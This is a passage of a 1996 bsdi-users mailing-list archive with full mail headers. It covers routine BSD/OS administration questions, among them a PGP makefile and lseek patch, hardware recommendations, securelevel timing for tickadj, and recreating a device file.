\\\ ||||| /// Orlando Furlan > > \\\\ \-/ //// IBW Communications > > \\\\ \-/ //// mailto:furlan@ibw.com.ni > > \\\\\\-////// > > \\\\\-///// > > \\\-/// > > \-/ > > \-/ > > - > > | > > Currently we have installed the Front Page extensions for BSDI. This > allowed us to create the main pages and our major customers pages > interactively using Front Page. However we arent able to yet include > /usr/home/username/public_html user created pages. To use Front Page and > these pages we created the pages locally then ftp them into the user > accounts. Most of the Bots work except so far for the Search bot. > > Any further comments on this would be greatly accepted. > > ---------------------------------------------------------------------------- > -------------------------------------- > Timothy L. Minahan - webmaster@is-1.net.au > Blacktown Net Masters - http://www.is-1.net.au/webmaster > IS-1 Internet Service Provider - http://www.is-1.net.au > > All opionions expressed or implied are purely my own > > > ------=_NextPart_000_01BBD865.35B56F00 > Content-Type: text/html; charset=ISO-8859-1 > Content-Transfer-Encoding: quoted-printable > >

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> Subject: From Front Page to Apache = > Publishing
> Date: Thursday, 21 November 1996 10:09 AM
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> publish from Front Page to Apache in = > both the server and the client ?
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> Thanks for this help in advance,
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Curr= > ently we have installed the Front Page extensions for BSDI.  This = > allowed us to create the main pages and our major customers pages = > interactively using Front Page.  However we arent able to yet = > include /usr/home/username/public_html user created pages.  To use = > Front Page and these pages we created the pages locally then ftp them = > into the user accounts.  Most of the Bots work except so far for = > the Search bot.

Any further comments on this would be greatly = > accepted.

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> ont> > ------=_NextPart_000_01BBD865.35B56F00-- Mark Hepworth Sysop IS-1 Internet Service Provider From VM Fri Nov 22 21:34:48 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["776" "Fri" "22" "November" "1996" "00:42:08" "-0500" "bsd@demtech.com" "bsd@demtech.com" nil "21" "pgp & bsdi 2.0.1" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA21708 for ; Fri, 22 Nov 1996 10:23:43 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA27613 for bsdi-users-outgoing; Fri, 22 Nov 1996 10:11:15 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: BSD Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: pgp & bsdi 2.0.1 Date: Fri, 22 Nov 1996 00:42:08 -0500 (EST) Everytime I try to compile pgp under bsdi 2.0.1 I get the following error: -------------------------------------------------------------------------- make all "LD=cc -s" CFLAGS="-I../rsaref/source -I../rsaref/test -DUSEMPILIB -O -I. -B/lib/ -DNOTERMIO -D_BSD -DUNIX -DPORTABLE -DUSE_NBIO " cc -I../rsaref/source -I../rsaref/test -DUSEMPILIB -O -I. -B/lib/ -DNOTERMIO -D_BSD -DUNIX -DPORTABLE -DUSE_NBIO -c zipup.c zipup.c:43: conflicting types for `lseek' /usr/include/sys/types.h:84: previous declaration of `lseek' *** Error code 1 Stop. -------------------------------------------------------------------------- Does anyone have any hints on how to compile pgp under bsdi? Also when I make, should I be using bsd, bsdgcc or netbsd? Any help would be appreciated. From VM Fri Nov 22 21:34:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1427" "Fri" "22" "November" "1996" "07:29:25" "-0800" "Tim Keanini" "blast@broder.com" nil "37" "Re: Inn: articles no longer in history file" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA24481 for ; Fri, 22 Nov 1996 12:01:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA27820 for bsdi-users-outgoing; Fri, 22 Nov 1996 11:54:38 -0500 (EST) In-Reply-To: <573i5u$sls@news1.anet-dfw.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tim Keanini Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Inn: articles no longer in history file Date: Fri, 22 Nov 1996 07:29:25 -0800 (PST) On 22 Nov 1996, David Bauman wrote: > It will not prevent articles from being expired. Check out the > expire man page. > > > DB > > James A. Brister (brister@vix.com) wrote: > > : On Thu, 21 Nov 1996 07:30:17 +0100 (MET), david@isdnet.net said: > > : > I have articles which are no longer referenced in the history file. > : > So, It seems that prevents those articles being expired (and I have 40 000 > : > articles in misc.jobs.offered). > > : Try the perl script by Harry Bochner called findmissing, which I append here... On the topic if 'innd', I was supprised to find that there is no way that I can find within innd's logging a way to get the bytes in or out. I am about to edit the source to give me that accounting but I was wondering if anyone else has done accounting with their news server? Thanks, blast %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% \ Tim Keanini | "The limits of my language, / / | are the limits of my world." \ \ blast@broder.com | --Ludwig Wittgenstein / \ +================================================/ |Key fingerprint = 7B 68 88 41 A8 74 AB EC F0 37 98 4C 37 F7 40 D6 | / PUB KEY: http://www-swiss.ai.mit.edu/~bal/pks-commands.html \ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% From VM Fri Nov 22 21:35:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1227" "Fri" "22" "November" "1996" "10:59:16" "-0500" "Sam Brown" "root@ns2.clever.net" nil "30" "Re: SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card..." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA24494 for ; Fri, 22 Nov 1996 12:04:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA27855 for bsdi-users-outgoing; Fri, 22 Nov 1996 12:04:16 -0500 (EST) In-Reply-To: <199611220809.DAA23202@jparnas.cybercom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" cc: bsdi-users@BSDI.COM Subject: Re: SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card... Date: Fri, 22 Nov 1996 10:59:16 -0500 (EST) On Fri, 22 Nov 1996, Jacob M. Parnas wrote: > > 1. What is the best (for BSDI 3.0) Ultra SCSI wide PCI card? I've heard > Buslogic is better than Adaptek, and BSDI says NCR has a good one. Does > anyone know which is best and the best place/price to get it from? DPT Smartcache IV PM2144UW (with 68020-20). End of story :) Throw the 64 megs ecc cache module on, or add the raid module, and the other cards are outta the picture.. > > 2. I'm looking for the cheapest 10 Mbit/sec AUI (15 pin) ethernet card so > I can hook up my new system to my old Sun Sparcstation 2. Anyone have > any pointers. Even used would be OK. Either ISA or PCI is fine. > Performance isn't important (any card should do what I want: simple X > rlogin and NFS mounting with only 2 computers on the net. It has to > be a AUI because I have cables and a hub with the 15 pin type connectors. PCI 21040-AA/AB (note AC doesn't work) chipset cards run as low as $40. Or do yourself a favor and get a DEC 21140-AA/AB and you'll have room for 100 megabit, Cost around here is $89 (D-link DFE-500TX).. Again i stress the AA/AB chipset not the AC (Rev C/Pass 2.0). They aren't compatible yet. hint bsdi. hint. Sam From VM Fri Nov 22 21:35:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["783" "Fri" "22" "November" "1996" "12:14:31" "-0500" "Mike Pelletier" "mikep@comshare.com" nil "21" "Executing a command before kern.securelevel goes to 1?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA24773 for ; Fri, 22 Nov 1996 12:16:47 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA27869 for bsdi-users-outgoing; Fri, 22 Nov 1996 12:14:42 -0500 (EST) Posted-Date: Fri, 22 Nov 1996 12:14:31 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pelletier Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Executing a command before kern.securelevel goes to 1? Date: Fri, 22 Nov 1996 12:14:31 -0500 (EST) I need to make an adjustment to the kernel's clock settings with the XNTP "tickadj" program, since my ASA motherboard's clock drifts rather significantly -- around 200-250ppm. However, when kern.securelevel is at 1, changes to /dev/kmem by tickadj are not permitted. So I need to run this "tickadj" command when the security level is still 0. Now, one notion I've had is to rebuild the kernel with "options INSECURE", and then as the first line or two in the "rc" file, do: tickadj -A -t 9998 sysctl -w kern.securelevel=1 But I was wondering if there might be a way to do it without the INSECURE option. And I'm not sure about this option - is setting kern.securelevel to zero instead of 1 all it really does? Thanks for any suggestions you can offer! -Mike Pelletier. From VM Fri Nov 22 21:35:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["436" "Fri" "22" "November" "1996" "09:24:17" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "21" "Re: EIDE CDROM's, are they supported?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA25070 for ; Fri, 22 Nov 1996 12:24:54 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA27893 for bsdi-users-outgoing; Fri, 22 Nov 1996 12:24:58 -0500 (EST) Message-Id: <3.0.1.32.19961122092407.009fa998@gw3.firstdata.com> X-Sender: kketell@gw3.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" Cc: bsdi-users@BSDI.COM Subject: Re: EIDE CDROM's, are they supported? Date: Fri, 22 Nov 1996 09:24:17 -0800 EIDE is ATAPI and ATAPI is EIDE and IDE. -Kent- At 08:16 AM 11/22/96 -0500, Jacob M. Parnas wrote: > >I misread the supported hardware section and am not sure that my EIDE 12x >no-name CD-ROM is supported. The hardware specs say > >Any SCSI or ATAPI CDROM drive >Mitsumi LU002S, LU005S, FX001S, FX001D > >I don't know what ATAPI is. > >Anyway, are EIDE CDROMs supported by BSDI (even 3.0 would be helpful)? > >Thanks, Jacob > > From VM Fri Nov 22 21:35:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["823" "Fri" "22" "November" "1996" "11:28:49" "-0600" "John Senay" "caddis@inlink.com" nil "22" "Re: SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card..." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA25075 for ; Fri, 22 Nov 1996 12:25:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA27898 for bsdi-users-outgoing; Fri, 22 Nov 1996 12:25:08 -0500 (EST) X-Authentication-Warning: shell1.inlink.com: caddis owned process doing -bs X-Sender: caddis@shell1 In-Reply-To: <199611220809.DAA23202@jparnas.cybercom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: John Senay Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" cc: bsdi-users@BSDI.COM Subject: Re: SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card... Date: Fri, 22 Nov 1996 11:28:49 -0600 (CST) On Fri, 22 Nov 1996, Jacob M. Parnas wrote: > > 1. What is the best (for BSDI 3.0) Ultra SCSI wide PCI card? I've heard > Buslogic is better than Adaptek, and BSDI says NCR has a good one. Does > anyone know which is best and the best place/price to get it from? DPT has announced support for BSDI 3.0, look at www.dpt.com > > 2. I'm looking for the cheapest 10 Mbit/sec AUI (15 pin) ethernet card so > I can hook up my new system to my old Sun Sparcstation 2. Anyone have > any pointers. Even used would be OK. Either ISA or PCI is fine. > Performance isn't important (any card should do what I want: simple X > rlogin and NFS mounting with only 2 computers on the net. It has to > be a AUI because I have cables and a hub with the 15 pin type connectors. > > Thanks, Jacob > From VM Fri Nov 22 21:35:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["736" "Fri" "22" "November" "1996" "12:44:23" "-0500" "Bill Warner" "lww@ictech.com" nil "19" "Re: pgp & bsdi 2.0.1" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA25925 for ; Fri, 22 Nov 1996 12:50:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA28007 for bsdi-users-outgoing; Fri, 22 Nov 1996 12:45:42 -0500 (EST) Message-Id: <3.0.32.19961122124418.006a57dc@pop.ictech.com> X-Sender: lww@pop.ictech.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Bill Warner Sender: owner-bsdi-users@lists.gateway.com To: BSD Cc: bsdi-users@BSDI.COM Subject: Re: pgp & bsdi 2.0.1 Date: Fri, 22 Nov 1996 12:44:23 -0500 At 12:42 AM 11/22/96 -0500, BSD wrote: > >Everytime I try to compile pgp under bsdi 2.0.1 I get the following error: >-------------------------------------------------------------------------- >make all "LD=cc -s" CFLAGS="-I../rsaref/source -I../rsaref/test >-DUSEMPILIB -O >-I. -B/lib/ -DNOTERMIO -D_BSD -DUNIX -DPORTABLE -DUSE_NBIO " >cc -I../rsaref/source -I../rsaref/test -DUSEMPILIB -O -I. -B/lib/ >-DNOTERMIO -D_BSD -DUNIX -DPORTABLE -DUSE_NBIO -c zipup.c >zipup.c:43: conflicting types for `lseek' >/usr/include/sys/types.h:84: previous declaration of `lseek' >*** Error code 1 Try the following patch for pgp 2.6.2. It will fix the lseek()conflict and add a bsdi target to the makefile. It works for me on 2.0.1. Bill From VM Fri Nov 22 21:35:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["938" "Fri" "22" "November" "1996" "11:10:52" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "28" "Re: pgp & bsdi 2.0.1" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA26208 for ; Fri, 22 Nov 1996 13:05:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA28073 for bsdi-users-outgoing; Fri, 22 Nov 1996 13:01:23 -0500 (EST) Message-Id: <199611221810.LAA00708@doctor.nl2k.edmonton.ab.ca> In-Reply-To: from "BSD" at Nov 22, 96 00:42:08 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: bsd@demtech.com (BSD) Cc: bsdi-users@BSDI.COM Subject: Re: pgp & bsdi 2.0.1 Date: Fri, 22 Nov 1996 11:10:52 -0700 (MST) > > > Everytime I try to compile pgp under bsdi 2.0.1 I get the following error: > -------------------------------------------------------------------------- > make all "LD=cc -s" CFLAGS="-I../rsaref/source -I../rsaref/test > -DUSEMPILIB -O > -I. -B/lib/ -DNOTERMIO -D_BSD -DUNIX -DPORTABLE -DUSE_NBIO " > cc -I../rsaref/source -I../rsaref/test -DUSEMPILIB -O -I. -B/lib/ > -DNOTERMIO -D_BSD -DUNIX -DPORTABLE -DUSE_NBIO -c zipup.c > zipup.c:43: conflicting types for `lseek' > /usr/include/sys/types.h:84: previous declaration of `lseek' > *** Error code 1 > > Stop. > -------------------------------------------------------------------------- > > Does anyone have any hints on how to compile pgp under bsdi? Also when I > make, should I be using bsd, bsdgcc or netbsd? Any help would be > appreciated. > > > What I usually do is to comment out the miscreant giving BSDI include the benefit of the doubt. For make try bsd. From VM Fri Nov 22 21:35:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["958" "Fri" "22" "November" "1996" "08:21:49" "-0500" "Helen Birkmann" "helen@gomez.mkl.com" nil "20" "Re: SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card..." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA26213 for ; Fri, 22 Nov 1996 13:08:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA28094 for bsdi-users-outgoing; Fri, 22 Nov 1996 13:05:52 -0500 (EST) In-Reply-To: <199611220809.DAA23202@jparnas.cybercom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" cc: bsdi-users@BSDI.COM Subject: Re: SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card... Date: Fri, 22 Nov 1996 08:21:49 -0500 (EST) > 1. What is the best (for BSDI 3.0) Ultra SCSI wide PCI card? I've heard > Buslogic is better than Adaptek, and BSDI says NCR has a good one. Does > anyone know which is best and the best place/price to get it from? Does BSDI 3.0 now support fast & wide SCSI II? > 2. I'm looking for the cheapest 10 Mbit/sec AUI (15 pin) ethernet card so > I can hook up my new system to my old Sun Sparcstation 2. Anyone have > any pointers. Even used would be OK. Either ISA or PCI is fine. > Performance isn't important (any card should do what I want: simple X > rlogin and NFS mounting with only 2 computers on the net. It has to > be a AUI because I have cables and a hub with the 15 pin type connectors. > > Thanks, Jacob Try Minta 10800-82MINTA, but remember: cheap is often unreliable. You'll spent more money on RMAs than what you saved by buying the cheaper card. And what if the drivers are not compatible with BSDI? From VM Fri Nov 22 21:35:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3479" "Fri" "22" "November" "1996" "13:10:01" "-0500" "Bill Warner" "lww@ictech.com" nil "105" "Re: pgp & bsdi 2.0.1" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA26486 for ; Fri, 22 Nov 1996 13:13:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA28126 for bsdi-users-outgoing; Fri, 22 Nov 1996 13:11:20 -0500 (EST) Message-Id: <3.0.32.19961122130958.0069f77c@pop.ictech.com> X-Sender: lww@pop.ictech.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_848704201==_" Precedence: bulk From: Bill Warner Sender: owner-bsdi-users@lists.gateway.com To: BSD Cc: bsdi-users@BSDI.COM Subject: Re: pgp & bsdi 2.0.1 Date: Fri, 22 Nov 1996 13:10:01 -0500 --=====================_848704201==_ Content-Type: text/plain; charset="us-ascii" At 12:44 PM 11/22/96 -0500, Bill Warner wrote: >At 12:42 AM 11/22/96 -0500, BSD wrote: >> >>Everytime I try to compile pgp under bsdi 2.0.1 I get the following error: >>-------------------------------------------------------------------------- >>make all "LD=cc -s" CFLAGS="-I../rsaref/source -I../rsaref/test >>-DUSEMPILIB -O >>-I. -B/lib/ -DNOTERMIO -D_BSD -DUNIX -DPORTABLE -DUSE_NBIO " >>cc -I../rsaref/source -I../rsaref/test -DUSEMPILIB -O -I. -B/lib/ >>-DNOTERMIO -D_BSD -DUNIX -DPORTABLE -DUSE_NBIO -c zipup.c >>zipup.c:43: conflicting types for `lseek' >>/usr/include/sys/types.h:84: previous declaration of `lseek' >>*** Error code 1 > >Try the following patch for pgp 2.6.2. It will fix the lseek()conflict and >add a bsdi target to the makefile. It works for me on 2.0.1. > >Bill Ooops, lets try that again. This time with the patch... --=====================_848704201==_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable *** src/makefile.orig Thu Oct 13 16:33:34 1994 --- src/makefile Sat May 20 20:00:45 1995 *************** *** 81,87 **** @echo "" @echo "where can be:" @echo " 386bsd, 3b1, 3b1_asm, amix-68k-gcc, aux(*), aux-gcc, bsd," ! @echo " bsdgcc, djgpp, encore, hpux-68k(*), hpux-68k-ansi," @echo " hpux-68k-gcc, hpux-pa(*), hpux-pa-ansi, hpux-pa-gcc," @echo " hpux9-pa-ansi, irix, irix_asm, isc, isc_asm, linux, machten," @echo " mach_386, mips-ultrix, netbsd, newsasm, newsgcc, next," --- 81,87 ---- @echo "" @echo "where can be:" @echo " 386bsd, 3b1, 3b1_asm, amix-68k-gcc, aux(*), aux-gcc, bsd," ! @echo " bsdgcc, bsdi, djgpp, encore, hpux-68k(*), hpux-68k-ansi," @echo " hpux-68k-gcc, hpux-pa(*), hpux-pa-ansi, hpux-pa-gcc," @echo " hpux9-pa-ansi, irix, irix_asm, isc, isc_asm, linux, machten," @echo " mach_386, mips-ultrix, netbsd, newsasm, newsgcc, next," *************** *** 168,173 **** --- 168,177 ---- netbsd: $(MAKE) all CC=3Dgcc LD=3Dgcc OBJS_EXT=3D"_80386.o _zmatch.o" \ CFLAGS=3D"$(RSAINCDIR) -O -DUNIX -DIDEA32 -DASM -DMAX_NAMELEN=3D255" +=20 + bsdi: + $(MAKE) all CC=3Dgcc LD=3Dgcc OBJS_EXT=3D"_80386.o _zmatch.o" \ + CFLAGS=3D"$(RSAINCDIR) -O2 -DUNIX -DIDEA32 -DASM -DMAX_NAMELEN=3D255" =20 # Sun 3 with gcc # change -traditional-cpp to -traditional for gcc < 2.0 *** src/zipup.c.orig Thu Aug 4 16:45:53 1994 --- src/zipup.c Sat May 20 20:00:25 1995 *************** *** 14,22 **** =20 #define NOCPYRT /* this is not a main module */ #include ! #ifdef __QNX__ ! #include ! #endif #include "zip.h" #include "zrevisio.h" =20 --- 14,20 ---- =20 #define NOCPYRT /* this is not a main module */ #include ! #include "system.h" /* Mainly for */ #include "zip.h" #include "zrevisio.h" =20 *************** *** 39,47 **** # include # define fhow (O_RDONLY|O_BINARY) # else /* !MSDOS */ ! #if !(defined(AMIGA) || defined(__NetBSD__)) long lseek(); ! #endif /* AMIGA */ # define fhow 0 # endif /* ?MSDOS */ typedef int ftype; --- 37,45 ---- # include # define fhow (O_RDONLY|O_BINARY) # else /* !MSDOS */ ! #ifndef HAVE_UNISTD_H long lseek(); ! #endif /* HAVE_UNISTD_H */ # define fhow 0 # endif /* ?MSDOS */ typedef int ftype; --=====================_848704201==_-- From VM Fri Nov 22 21:35:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["731" "Fri" "22" "November" "1996" "11:27:29" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "26" "Re: Some additional software for BSDI BSD/OS v3.0" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA26500 for ; Fri, 22 Nov 1996 13:19:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA28210 for bsdi-users-outgoing; Fri, 22 Nov 1996 13:16:53 -0500 (EST) Message-Id: <199611221827.LAA02555@doctor.nl2k.edmonton.ab.ca> In-Reply-To: from "Alan B. Clegg" at Nov 22, 96 01:09:43 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: abc@gateway.com (Alan B. Clegg) Cc: bsdi-users@BSDI.COM Subject: Re: Some additional software for BSDI BSD/OS v3.0 Date: Fri, 22 Nov 1996 11:27:29 -0700 (MST) > > On Thu, 21 Nov 1996, The Doctor wrote: > > >> And, I'm not sure what you mean by: > >> > >> > telnetd needs to be straightened. > > > >Needed: records of people who are telneting in and from where. > > like 'last'? > > -abc > | > Death, Taxes, and Liberals will always be with us. | Alan B. Clegg > At least Death never gets any worse. | gateway.com, inc. > | > > last wil ONLY indicate to you all SUCCESSFUL users who have logged in. I am looking for any programme that tells me IF someone is using telnet/rlogin and from where. BTW, anyone got Kerberos successfully running? From VM Fri Nov 22 21:35:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1087" "Fri" "22" "November" "1996" "11:24:37" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "42" "Re: It's a shame I know...;-)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA26505 for ; Fri, 22 Nov 1996 13:20:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA28165 for bsdi-users-outgoing; Fri, 22 Nov 1996 13:13:54 -0500 (EST) Message-Id: <199611221824.LAA02365@doctor.nl2k.edmonton.ab.ca> In-Reply-To: from "Dennis Breckenridge" at Nov 22, 96 09:38:29 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: dennis@nebulus.net (Dennis Breckenridge) Cc: bsdi-users@BSDI.COM Subject: Re: It's a shame I know...;-) Date: Fri, 22 Nov 1996 11:24:37 -0700 (MST) > > A being tickled my SMTP port calling themselves The Doctor and sez: The classic one I see. > > > > > > > > > > > Yesterday I made really stupid thing. I deleted by mistake one of my > > > device files. > > > It was /dev/tty1af - one of EQUINOX SST multiport board ports > > > > > > Could someone help me to create another one. ? > > > > > > Any help apreciated > > > Maciej Przybecki > > > SYLABA Internet > > > > > > > You should be able to recreate the device as follows: > > > > cp /dev/null /dev/tty1af > > chown uucp.tty /dev/tty1af > > chmod 0600 /dev/tty1af > > > > Try mknod /dev/tty1af c > > Either method or, however on boot up the eqnx driver SHOULD create the device. > > -- > ------------------------------------------------------------------------------- > Dennis Breckenridge Consider the benevolence of technology and the notion of > dennis@nebulus.net progress in the world we live in. Where is the balance? > ------------------------------------------------------------------------------- > From VM Fri Nov 22 21:35:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["570" "Fri" "22" "November" "1996" "13:32:12" "-0500" "Bill Warner" "lww@ictech.com" nil "15" "Re: Executing a command before kern.securelevel goes to 1?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA27611 for ; Fri, 22 Nov 1996 13:56:13 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA28414 for bsdi-users-outgoing; Fri, 22 Nov 1996 13:32:45 -0500 (EST) Message-Id: <3.0.32.19961122133209.00688764@pop.ictech.com> X-Sender: lww@pop.ictech.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Bill Warner Sender: owner-bsdi-users@lists.gateway.com To: Mike Pelletier Cc: bsdi-users@BSDI.COM Subject: Re: Executing a command before kern.securelevel goes to 1? Date: Fri, 22 Nov 1996 13:32:12 -0500 At 12:14 PM 11/22/96 -0500, Mike Pelletier wrote: >I need to make an adjustment to the kernel's clock settings with the XNTP >"tickadj" program, since my ASA motherboard's clock drifts rather >significantly -- around 200-250ppm. However, when kern.securelevel is at >1, changes to /dev/kmem by tickadj are not permitted. So I need to run >this "tickadj" command when the security level is still 0. Mike, I run tickadj out of rc.local with no problem. No special gymnastics required. The kernel shouldn't go to level 1 until after the rc scripts have run. Bill From VM Fri Nov 22 21:35:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["195" "Fri" "22" "November" "1996" "13:45:32" "-0500" "Robin Dua" "dua@globalserve.net" nil "11" "Microsoft Sign-up Server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA27615 for ; Fri, 22 Nov 1996 13:56:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA28545 for bsdi-users-outgoing; Fri, 22 Nov 1996 13:49:19 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Robin Dua Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Microsoft Sign-up Server Date: Fri, 22 Nov 1996 13:45:32 -0500 (EST) Has anyone been able to get the Microsoft sign-up server running under BSDi? If so ... I was wondering if they would be able to give some instructions on doing so. Thanks Robin GlobalServe From VM Fri Nov 22 21:35:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3682" "Fri" "22" "November" "1996" "13:28:47" "-0500" "Bill Warner" "lww@ictech.com" nil "114" "Re: pgp & bsdi 2.0.1" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) 